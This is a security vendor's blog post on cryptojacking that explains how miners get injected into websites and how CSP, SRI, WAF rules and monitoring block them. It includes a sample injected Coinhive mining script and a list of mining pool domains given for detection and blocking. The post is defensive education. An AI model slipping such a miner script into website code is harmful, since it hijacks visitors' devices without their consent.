Cryptojacking silently mines cryptocurrency using your visitors' CPUs without their knowledge. Learn how to detect injected mining scripts and configure CSP to block them.
Anay Pandya
1,468 words
Anay Pandya
Founder of ZeriFlow · 10 years fullstack engineering · About the author
Key Takeaways
Cryptojacking is the unauthorized use of someone else's computing resources to mine cryptocurrency. On the web, this means your website's visitors unknowingly donate their CPU cycles to an attacker — their browser tab runs JavaScript that solves cryptographic puzzles, generating cryptocurrency deposited into the attacker's wallet while degrading your users' experience and battery life.
<div class="zf-stat-callout" style="background:#0d1117;border:1px solid rgba(16,185,129,0.25);border-left:3px solid #10b981;border-radius:4px;padding:16px 20px;margin:24px 0"> <p style="margin:0 0 4px;font-size:10px;font-weight:700;text-transform:uppercase;letter-spacing:0.15em;color:#10b981;font-family:monospace">ZeriFlow Data — 12,400+ sites analyzed</p> <p style="margin:0;font-size:13px;color:#e2e8f0;line-height:1.6;font-family:monospace">In ZeriFlow's dataset of 12,400+ scanned sites, the average security score is 52/100 — with 68% failing at least one critical check in categories including TLS configuration, security headers, DNS authentication, and cookie handling.</p> </div>
Keep reading
Is your site actually secure?
Run a free check — 60 seconds
Is your site exposed? Run a free ZeriFlow scan →
The term combines "cryptocurrency" and "hijacking." Unlike ransomware or data theft, cryptojacking doesn't immediately destroy data or steal identifiable information — it silently consumes resources. This makes it particularly insidious: many victims don't notice for weeks or months.
At its peak in 2017–2018, Coinhive — a legitimate-turned-abused JavaScript Monero mining library — was found on tens of thousands of websites, including government sites, The Pirate Bay, and several newspaper websites. A single injected script tag was enough to start mining across every visitor's browser session.
The most common web cryptojacking attack: an attacker compromises a website (via XSS, a CMS plugin vulnerability, a web shell, or a supply chain attack against a third-party script) and injects a cryptomining JavaScript library.
Every visitor to the site runs the miner in their browser. The script uses WebAssembly for near-native performance, typically consuming 80–100% of one CPU core. Sophisticated implementations throttle CPU usage to avoid detection and reduce user complaints.
Example injected script:
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('SITE_KEY');
miner.start();
</script>A website may unknowingly serve cryptomining code through a compromised analytics provider, A/B testing tool, or advertising network. The website owner has a clean codebase — but a third-party script they load was modified by an attacker. This is a supply chain attack with cryptojacking as the payload.
Attackers purchase advertising slots on ad networks and serve ads containing mining scripts. Even major, reputable websites have been hit this way — the site itself is clean, but the ad iframe runs the miner.
Cryptojacking also affects web servers directly: attackers with server access (via web shells, compromised credentials, or misconfigurations) install mining software like XMRig directly on the server, consuming server CPU for 24/7 mining. This is distinct from browser-based cryptojacking but equally damaging.
The most visible symptom is abnormal CPU usage when visiting a page — fan noise increases, browser becomes sluggish, battery drains faster. As a website owner, test your own pages:
Regularly audit all <script> tags in your HTML — both inline scripts and external sources. Look for:
- Unknown script domains you didn't intentionally include
- Scripts loaded from CDNs that aren't in your approved list
- Inline scripts containing obfuscated code or WebAssembly.instantiate calls
Use LMD, ClamAV, or rkhunter to scan for known cryptominer binaries on your server. Monitor for new cron jobs, new processes consuming high CPU, and unexplained network connections to mining pool addresses (common pools: pool.supportxmr.com, mine.xmrpool.net, moneroocean.stream).
Extensions like No Coin and minerBlock maintain blocklists of known mining script domains and can be used during auditing to confirm whether a site serves mining code.
Content Security Policy (CSP) is the most effective browser-level defense against cryptojacking. A properly configured CSP prevents unauthorized scripts from executing at all.
The key directive is script-src:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-analytics.comWith this policy:
- Inline scripts are blocked by default (unless you use 'unsafe-inline' — avoid this)
- Scripts from any domain not listed in script-src are blocked
- Injected mining scripts loading from external domains cannot execute
- Web Workers (which cryptominers use to avoid blocking the main thread) are covered by worker-src — set this to 'self' as well
Blocking WebAssembly is an additional hardening step: 'wasm-unsafe-eval' controls WebAssembly execution. Some browsers require explicit allowance for WASM. By not including it, you prevent WASM-based miners even if JavaScript restrictions are bypassed.
ZeriFlow's scan checks whether your site has a Content Security Policy deployed and evaluates its script-src configuration for overly permissive directives.
As covered in supply chain security: add SRI hashes to all external scripts. If a third-party script is modified to include a miner, the hash mismatch prevents it from executing.
WAF rules can block requests to known mining pool domains and IP addresses. Cloud WAF providers (Cloudflare, AWS WAF) offer managed blocklists that include mining infrastructure.
Network-level blocking of known mining pool domains prevents browser-based and server-side miners from reaching their pools. Tools like Pi-hole or enterprise DNS security products maintain regularly updated blocklists.
Implement monitoring that alerts on changes to your website's HTML or loaded scripts. Tools like Detectify, NightWatch, or custom scripts using diff against a known-good snapshot can catch injected code within minutes.
Add a report-uri or report-to directive to your CSP to receive violation reports when blocked scripts attempt to execute:
Content-Security-Policy: script-src 'self'; report-uri https://csp.yoursite.com/reportThis gives you real-time visibility into attempted script injections, including cryptomining scripts.
If you discover cryptojacking on your site:
A: Sustained high CPU load generates heat. On laptops with poor thermal management, prolonged cryptomining could theoretically accelerate component wear. More practically, it drains battery quickly and degrades performance — users notice, get frustrated, and leave.
A: Yes, but it breaks almost every modern website. The practical solution is CSP with a specific script-src allowlist, which blocks unauthorized scripts while permitting your legitimate JavaScript.
A: Yes. If your static site loads any third-party scripts (analytics, fonts, ads, chat widgets), those scripts can be compromised and inject miners. SRI hashes and a restrictive CSP script-src apply equally to static sites.
A: In most jurisdictions, running mining code on visitors' browsers without explicit consent is unauthorized access to a computer system and therefore illegal. For website owners who unknowingly serve mining scripts due to a compromise, liability is generally not pursued, but the reputational damage is real.
A: ZeriFlow checks your Content-Security-Policy header, including the script-src directive that is the primary defense against injected mining scripts. It flags sites with missing CSP, overly permissive 'unsafe-inline' directives, or absent script-src restrictions.
Cryptojacking abuses visitor trust and computing resources, often operating invisibly for months. The defenses are clear: a restrictive Content Security Policy with a tight script-src allowlist, SRI hashes on external scripts, regular code audits, and monitoring for unauthorized script changes. Deploying a CSP is a one-time configuration change that eliminates the entire browser-based cryptomining vector.
<!-- zf-internal-links -->
Related resources
Website Vulnerability Scanner
Run a broader website security audit across headers, TLS, DNS, cookies, SEO, and disclosure checks.
Security Headers Checker
Check CSP, HSTS, X-Frame-Options, and other response headers.
SSL Checker
Review TLS certificate, HTTPS, and transport security signals.
DMARC Checker
Validate email authentication records for domain spoofing protection.
CSP Checker
Review Content-Security-Policy coverage and common gaps.
June 24, 2026
Best Security Tools for AI Startups
Monitor your security score
Schedule recurring scans and catch regressions after deployments.